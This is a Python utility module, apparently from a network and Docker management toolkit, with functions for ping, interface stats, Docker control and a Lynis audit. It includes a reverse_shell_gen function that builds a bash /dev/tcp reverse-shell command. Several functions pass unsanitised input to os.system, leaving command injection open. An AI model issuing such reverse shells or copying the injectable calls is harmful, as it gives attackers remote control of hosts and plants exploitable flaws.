-
Notifications
You must be signed in to change notification settings - Fork 0
/
utility.py
272 lines (229 loc) · 10.4 KB
/
utility.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
import socket
import os
import subprocess
import psutil
from visual import *
def is_valid_ipv4_address(address):
try:
socket.inet_pton(socket.AF_INET, address)
except AttributeError: # no inet_pton here
try:
socket.inet_aton(address)
except socket.error:
return False
return address.count('.') == 3
except socket.error: # not a valid address
return False
return True
def is_valid_ipv6_address(address):
try:
socket.inet_pton(socket.AF_INET6, address)
except socket.error: # not a valid address
return False
return True
def ping(address):
response = os.system("ping -c 1 " + address)
if response == 0:
print("Woo it is alive")
else:
print("it sure is stinky in here, cause its dead. ")
def network_config():
network = psutil.net_io_counters(pernic=True)
ifaces = psutil.net_if_addrs()
networks = list()
for k, v in ifaces.items():
ip = v[0].address
data = network[k]
ifnet = dict()
ifnet['ip'] = ip
ifnet['iface'] = k
ifnet['sent'] = '%.2fMB' % (data.bytes_sent / 1024 / 1024)
ifnet['recv'] = '%.2fMB' % (data.bytes_recv / 1024 / 1024)
ifnet['packets_sent'] = data.packets_sent
ifnet['packets_recv'] = data.packets_recv
ifnet['errin'] = data.errin
ifnet['errout'] = data.errout
ifnet['dropin'] = data.dropin
ifnet['dropout'] = data.dropout
networks.append(ifnet)
return networks
def network_pretty_print():
network = network_config()
# Name: $value IP: $value stats:[packets_sent / packets received]
for items in network:
print("Name: " + items['iface'] + " IP: " + items['ip'] + " Stats: [ sent/receive :" + items['sent'] + "/" +
items['recv'] + "]")
def network_iface_list():
network = network_config()
network_names = []
for items in network:
network_names.append(items['iface'])
return network_names
def network_sniffer(network, filter_statement):
os.system("sudo python3 netplay.py " + network + filter_statement)
def reverse_shell_gen(ip, port):
cmd = ""
cmd = f"/bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1"
return cmd
def verify_docker_installation() -> bool:
result = subprocess.Popen(["docker", "-v"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
result.wait()
if result.returncode == 0:
# print("docker is installed")
return True
else:
# print("I believe that docker is not installed.")
return False
def verify_installed(name) -> bool:
result = subprocess.Popen([name, "--version"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if result.returncode == 0:
return True
else:
return False
def system_audit():
if os.path.isdir("./lynis"):
os.system("rm -rf lynis")
else:
os.system("git clone https://github.com/CISOfy/lynis")
if os.path.isdir("./lynis"):
os.system("cd lynis/ && ./lynis audit system > ../system_audit.txt &")
waiting(60)
print("System Audit is complete -- Check your audit report")
os.system("cd ..")
def find_docker_names() -> list:
names = list()
result = subprocess.run(["docker", "ps"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
resultparse = result.stdout.split("\n")
for lines in resultparse:
if len(lines) != 0:
linesplit = lines.split()
names.append(linesplit[0])
if names[0] == 'CONTAINER':
names.pop(0)
return names
def find_docker_compose_file_print():
if verify_docker_installation():
names = find_docker_names()
print("------------------------------------------\n"
"Docker Containers Compile files can be found at: \n")
for items in names:
container_inspect = subprocess.run(["docker", "container", "inspect", items, "--format",
"\'{{ index .Config.Labels \"com.docker.compose.project.working_dir\" }}\'"],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
print("{} : {}".format(items, container_inspect.stdout))
def find_docker_compose_file_list():
final_compose_file = []
temp = []
if verify_docker_installation():
names = find_docker_names()
print("------------------------------------------"
"Docker Containers Compile files can be found at: ")
for items in names:
container_inspect = subprocess.run(["docker", "container", "inspect", items, "--format",
"\'{{ index .Config.Labels \"com.docker.compose.project.working_dir\" }}\'"],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
temp.append(container_inspect.stdout.strip().strip("'"))
for paths in temp:
if paths not in final_compose_file:
final_compose_file.append(paths)
return final_compose_file
def docker_ps():
result = subprocess.run(["docker", "ps"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
print(result.stdout)
# kill hanging docker instance
def docker_kill():
docker_process = proc_find("docker-compose")
docker_pid = pid_find(docker_process)
if len(docker_pid) > 0:
for items in docker_pid:
print("killing {} with a SIGTERM signal".format(items))
os.kill(items, 15)
waiting(25)
else:
print("No process ID has been successfully located")
unique_path = find_docker_compose_file_list()
for path in unique_path:
docker_compose_file = path + "/docker-compose.yml"
result = os.system("docker-compose -f " + docker_compose_file + " down &")
waiting(30)
print("Docker Kill attempt has been made")
# make a system to build based on a path
def docker_build(dir_path):
files_in_directory = []
if os.path.isdir(dir_path):
files_in_directory = [f for f in os.listdir(dir_path) if os.path.isfile(os.path.join(dir_path, f))]
if files_in_directory.count("docker-compose.yml") == 1:
full_path = os.path.abspath(os.path.join(dir_path, "docker-compose.yml"))
result = os.system("docker-compose -f " + full_path + " up &")
waiting(25)
else:
print("There is an error in detecting your docker-compose file")
else:
print("Something is wrong with your path")
# make a system to build based on a path
def docker_restart():
unique_path = find_docker_compose_file_list()
for path in unique_path:
if os.path.isdir(path):
docker_compose_file = path + "/docker-compose.yml"
result = os.system("docker-compose -f " + docker_compose_file + " down &")
waiting(30)
building = os.system("docker-compose -f " + docker_compose_file + " build &")
waiting(25)
upagain = os.system("docker-compose -f " + docker_compose_file + " up &")
# get a list of all the pids given a partial substring match
def proc_find(process_name):
list_of_proc = []
for proc in psutil.process_iter():
try:
p_info = proc.as_dict(attrs=['pid', 'name', 'create_time'])
if process_name.lower() in p_info['name'].lower():
list_of_proc.append(p_info)
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
pass
return list_of_proc
def pid_find(list_of_proc):
list_of_process_by_name = list_of_proc
list_of_pid = []
if len(list_of_process_by_name) > 0:
for elem in list_of_process_by_name:
process_id = elem['pid']
list_of_pid.append(process_id)
return list_of_pid
# help with common build tasks resources(common commands and what they mean, maybe they go into the help box)
def docker_learn():
print("--------------------------------------------------------------\n"
"-------------------Docker short cheatsheet--------------------\n"
"--------------------------------------------------------------\n"
"\n"
"Docker compose common commands:\n"
"\n"
"docker-compose start ------------------- Start existing container from a service\n"
"docker-compose stop -------------------- Stops running containers without removing them\n"
"docker-compose pause ------------------- pauses running containers of service\n"
"docker-compose unpause ----------------- unpauses paused containers of a service\n"
"docker-compose ps ---------------------- lists all containers\n"
"docker-compose up ---------------------- Builds, (re)create, start and attaches to container for a service\n"
"docker-compose down -------------------- Stops containers and removes containers, networks created by up\n"
"\n"
"Docker Container management commands: \n"
"\n"
"docker create (image) [ command ] ------ create the container\n"
"docker run (image) [ command ] --------- create and start a container\n"
"docker start (container) --------------- start the container\n"
"docker stop (container) ---------------- stop a container using SIGTERM and SIGKILL 10 seconds later\n"
"docker kill (container) ---------------- Kill the container using a SIGKILL\n"
"docker restart (container) ------------- stop the container and start it again\n"
"docker pause (container) --------------- suspend the container\n"
"docker unpause (container) ------------- resume the container\n"
"docker rm [-f] (container) ------------- destroy the container, -f remove running container\n"
"\n"
"Docker inspection: \n"
"\n"
"docker ps ------------------------------ list running containers\n"
"docker ps -a --------------------------- list all containers \n"
"docker logs [-f] (container) ----------- show the container output (stdout + stderr)\n"
"docker top (container) [ps option] ----- list the processes running inside the container\n"
"docker diff (container) ---------------- show the differences with the image (modified file)\n"
"docker inspect (container) ------------- show low-level infos (json format)\n"
)